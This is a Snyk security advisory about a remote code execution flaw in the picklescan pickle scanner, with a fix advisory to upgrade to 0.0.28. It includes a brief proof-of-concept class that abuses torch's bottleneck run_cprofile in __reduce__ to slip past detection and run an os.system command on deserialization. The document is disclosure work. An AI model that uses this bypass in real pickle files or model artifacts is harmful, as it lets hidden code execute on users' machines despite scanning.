Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan
to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the bottleneck_main.run_cprofile
function. An attacker can craft a malicious pickle file that leverages this function to bypass detection and trigger code execution upon deserialization by a user.
import torch.utils.bottleneck.__main__ as bottleneck_main
class EvilTorchUtilsBottleneckRunCprofile:
def __reduce__(self):
code = '__import__("os").system("whoami")'
globs = {}
return bottleneck_main.run_cprofile, (code, globs)